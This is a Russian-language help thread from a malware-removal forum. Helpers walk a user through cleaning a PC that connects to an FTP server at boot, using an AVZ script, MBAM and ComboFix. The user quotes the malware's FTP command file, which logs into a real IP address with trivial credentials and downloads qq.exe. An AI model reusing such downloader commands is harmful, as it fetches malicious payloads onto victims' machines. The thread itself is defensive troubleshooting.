Коннектится к фтп при загрузке

[prorock8]

Пролема следующая.
При загрузке системы открывается окошко cmd.exe
Пытается залогиниться на какой то фтпшник.
В завершении вылазит окно что файл ..../qq.exe не является приложением win32

[Info_bot]

Уважаемый(ая) prorock8, спасибо за обращение на наш форум!

Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы, в самое ближайшее время, ответят на Ваш запрос.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

[thyrex]

Выполните скрипт в AVZ

 begin
SearchRootkit(true, true);
SetAVZGuardStatus(True);
QuarantineFile('c:\windows\aq.bat','');
DeleteFile('c:\windows\aq.bat');
BC_ImportAll;
ExecuteSysClean;
BC_Activate;
ExecuteRepair(9); 
RebootWindows(true);
end.

Компьютер перезагрузится.

Пришлите карантин согласно Приложения 3 правил по красной ссылке Прислать запрошенный карантин вверху темы

Обновите базы AVZ

Сделайте новые логи

[prorock8]

Пожалуйста

[thyrex]

Что с проблемой?

[prorock8]

Что с проблемой?

осталась

[thyrex]

Сделайте лог полного сканирования МВАМ

[prorock8]

Сделайте лог полного сканирования МВАМ

вот

[thyrex]

Удалите

c:\documents and settings\skorotenko\application data\archsoft\winzips.exe (Trojan.FakeSMS) -> No action taken.

[prorock8]

Удалите

c:\documents and settings\skorotenko\application data\archsoft\winzips.exe (Trojan.FakeSMS) -> No action taken.

Все по прежнему.

Добавлено через 5 минут

В папках C:\Documents and settings\имя учетки

лежат текстовый файл cmd с содержанием:

open 122.227.226.39
123
123
binary
get qq.exe
bye


и собственно файл qq.exe

[thyrex]

Сделайте лог ComboFix

[prorock8]

Сделайте лог ComboFix

Помогло, спасибо.

[thyrex]

Удалите ComboFix

[CyberHelper]

Статистика проведенного лечения:

• Получено карантинов: 1
• Обработано файлов: 2
• В ходе лечения вредоносные программы в карантинах не обнаружены